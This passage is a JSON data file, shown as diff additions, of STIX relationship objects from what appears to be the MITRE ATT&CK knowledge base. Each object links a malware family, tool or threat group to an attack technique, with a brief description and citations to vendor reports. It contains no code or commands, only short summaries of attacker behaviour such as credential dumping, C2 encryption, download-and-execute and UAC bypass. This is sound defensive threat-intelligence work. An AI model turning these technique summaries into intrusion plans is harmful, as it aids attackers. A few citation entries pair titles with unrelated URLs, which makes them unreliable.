}, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) encrypts C2 communications with RC4 as well as TLS.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f29a3a93-e697-4d6f-8087-eec72856bae5", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-05-14T17:10:21.839Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) is initially packed.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--141d1c0d-2f56-4b56-8834-ca3dab22faf9", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using [Mimikatz](https://attack.mitre.org/software/S0002).", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.359Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:12:13.491Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2a8729f-6271-46a0-8a40-a8567c9e5092", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has targeted victims using spearphishing emails with malicious Microsoft Word attachments.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--76021528-7cb6-461a-870a-f681cac19285", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "modified": "2019-03-25T17:00:47.332Z", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7bb2d594-36dc-458d-9f9b-8a3df42fac67", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:14:14.315Z", + "type": "relationship", + "id": "relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.019Z", + "source_ref": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to compress files.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b997d866-0aef-4ba6-a812-cfa2fccb05af", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses cmd.exe to execute netshcommands.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8576db0e-6a7c-40d4-b797-fb0094d5849f", + "external_references": [ + { + "source_name": "US-CERT HARDRAIN March 2018", + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses HTTP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42aa16be-5b53-4645-998b-9eb5de8c0429", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.137Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can enumerate Registry values, keys, and data.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fdb02bf4-a950-4ae7-b07c-a3ed0322ef6e", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can communicate to its C2 over TCP using a custom binary protocol.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4176d195-5740-47c2-874d-51704e7d293e", + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) can download and execute files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--438cae9c-cb03-4db9-ae59-24ed27147725", + "external_references": [ + { + "source_name": "Symantec Backdoor.Nidiran", + "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--321a3181-9478-4a4c-b13b-607dbfeee7fc", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.743Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) takes screenshots of the compromised system's desktop and saves them to C:\\system\\screenshot.bmp for exfiltration every 60 minutes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6184b127-47cf-43fc-880b-890554d9cc9a", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) encrypts some of its files with XOR.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new system device.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--19161920-e6b5-481f-a240-62f05c624010", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. 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Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of CodeExecution modules that enable by injecting code (DLL, shellcode) or reflectively loading a Windows PE file into a process.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1da7a099-122d-4c26-b27f-f8acabdd7b44", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.053Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses PowerShell to add a Registry Run key in order to establish persistence.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82826722-4278-438e-a8d0-5bd9fd117b2b", + "external_references": [ + { + "source_name": "ClearSky Charming Kitten Dec 2017", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. 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OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.356Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) uses cmd.exe to execute commands and custom backdoors.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a3ee84d8-139e-4703-97c9-53cdeea94f66", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-27T00:09:35.966Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Flame](https://attack.mitre.org/software/S0143) can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--052b685c-6d95-4a98-86f1-4c9bb39a398c", + "external_references": [ + { + "source_name": "Kaspersky Flame", + "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.", + "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/" + }, + { + "source_name": "Kaspersky Flame Functionality", + "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.", + "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/" + } + ], + "modified": "2019-06-06T14:35:53.928Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.922Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.037Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--630dedba-136b-4ea3-956e-f8f38e96653d", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Following exploitation with [LOWBALL](https://attack.mitre.org/software/S0042) malware, [admin@338](https://attack.mitre.org/groups/G0018) actors created a file containing a list of commands to be executed on the compromised computer.", + "type": "relationship", + "created": "2017-05-31T21:33:27.051Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb6f077c-06a2-46bb-9aef-959ef818d4aa", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). 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Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dyre](https://attack.mitre.org/software/S0024) injects into other processes to load modules.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--508879cf-53b7-4578-9a5f-9ed20dfb09ef", + "external_references": [ + { + "source_name": "Symantec Dyre June 2015", + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. 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(2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.157Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HOMEFRY](https://attack.mitre.org/software/S0232) can perform credential dumping.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ad1bbdf-4a00-426a-b130-fb4425ad2622", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). 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Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-26T23:38:34.190Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a80751f1-8def-4415-a38b-35ceb703244c", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Flame](https://attack.mitre.org/software/S0143) has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3", + "external_references": [ + { + "source_name": "Symantec Beetlejuice", + "description": "Symantec Security Response. (2012, May 31). Flamer: A Recipe for Bluetoothache. Retrieved February 25, 2017.", + "url": "https://www.symantec.com/connect/blogs/flamer-recipe-bluetoothache" + } + ], + "modified": "2019-06-06T14:35:53.987Z", + "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498", + "relationship_type": "uses", + "target_ref": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) has a command to delete its Registry key and scheduled task.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b80516ee-1635-43da-babf-201d9f76c1d8", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An older version of [CHOPSTICK](https://attack.mitre.org/software/S0023) has a module that monitors all mounted volumes for files with the extensions .doc, .docx, .pgp, .gpg, .m2f, or .m2o.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--838b4a52-1360-4ca7-ab25-1b549508e687", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-05-14T17:10:21.881Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat 